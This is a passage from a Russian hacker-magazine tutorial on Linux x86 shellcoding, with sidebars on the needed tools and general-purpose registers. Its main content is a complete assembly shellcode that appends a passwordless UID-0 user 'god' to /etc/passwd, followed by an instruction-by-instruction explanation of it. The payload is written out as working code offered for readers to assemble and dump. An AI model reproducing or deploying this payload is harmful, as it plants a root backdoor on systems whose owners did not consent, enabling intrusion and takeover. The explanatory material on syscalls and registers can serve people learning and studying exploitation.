Черная магия для начинающих 0xbeerdrinkz & l1s Хакер, номер #087, стр. 087-148-5 [login: god] В этом шелл-коде нам придется работать сразу с четырьмя системными вызовами: open, write, close и exit. Первый вызов будет открывать файл паролей с определенными параметрами (/etc/passwd), второй будет добавлять туда новую строчку, содержащую параметры нашего нового пользователя, третий вызов будет закрывать файл и, наконец, четвертый вызов будет корректно выходить из программы. Вперед! cdq push edx pop eax push eax pop ecx push 'swd.' push '/pas' push '/etc' mov byte [esp+11],al mov ebx,esp mov cx,0x441 mov al,5 int 80h mov ebx,eax push '/shx' push '/bin' push '::/:' push ':0:0' push 'god:' mov byte [esp+19],0xa mov ecx,esp mov dl,20 mov al,4 int 80h mov al,6 int 80h xor ebx,ebx inc al int 80h Теперь все в подробностях. В начале мы уже привычными инструкциями обнуляем наши любимые регистры и кладем имя редактируемого файла в стек. На конце имени присутствует точка, это сделано для того, чтобы в шелл-коде не было нуля. Далее по коду этот лишний символ меняется на ноль, чтобы системные вызовы увидели конец строки. Потом мы запихиваем первый параметр вызова open в EBX, а второй параметр – в ECX (0x441 посмотри насчет спецификации параметра), а в AL у нас идет номер системного вызова – 5. После чего мы вызываем int 80h. Далее по курсу у нас второй вызов, с параметрами которого ты уже и сам можешь разобраться. Но сначала мы помещаем в EBX содержимое регистра EAX, так как при вызове open параметр сохраняется в EAX, а он нам нужен в EBX для следующего вызова. Мы затираем ненужный символ, но уже знаком переноса строки. Кладем стандартные параметры, которые я уже объяснял тебе в примере про write, и вызываем прерывание. Следующий вызов - close, который требует всего одного параметра - дескриптора файла (EBX). И, наконец, exit с кодом выхода 0. Надеюсь, ты уже набрал и сдампил шелл-код, здесь я его приводить не стану. Размер, конечно, не из маленьких, так как в шелл-коде содержатся довольно здоровые строки, но в целом он нормально оптимизирован. [exit(0)] Шелл-кодинг - это очень интересное и увлекательное занятие, ты можешь полюбить его и возненавидеть в один момент. Если у тебя что-то не получается - не расстраивайся, а пиши мне на мыло, и я постараюсь тебе помочь. На этом все. Желаю тебе удачи в твоих экстремальных кодерских экспериментах. [джентльменский набор] Для осуществления всего описанного в статье тебе потребуются: 1. Linux – тачка с установленным на нее пингвином 2. NASM (http://sourceforge.net/projects/nasm) - ассемблер с интеловским синтаксисом 3. LD - стандартный линковщик 4. Objdump - утилита для просмотра байт-кода 5. Strace - утилита для просмотра вызовов Это есть в каждом доме, поэтому достать все необходимое – не проблема ХХХХХХХХХХХХХХХХХХХХХХХХХ [регистры общего назначения] Для того чтобы более или менее связно программировать на ассемблере, хватает всего четырех регистров общего назначения: EAX, EBX, ECX, EDX. Это 32-разрядные регистры, то есть в них может содержаться аж 4 байта. Если нужно использовать не все 32 разряда регистра, а, скажем, 16 или 8, то используются такие регистры: AX, BX, CX и DX (16-разрядные, без префикса «E»), а также их половинки: AH, AL, BH и т.п. |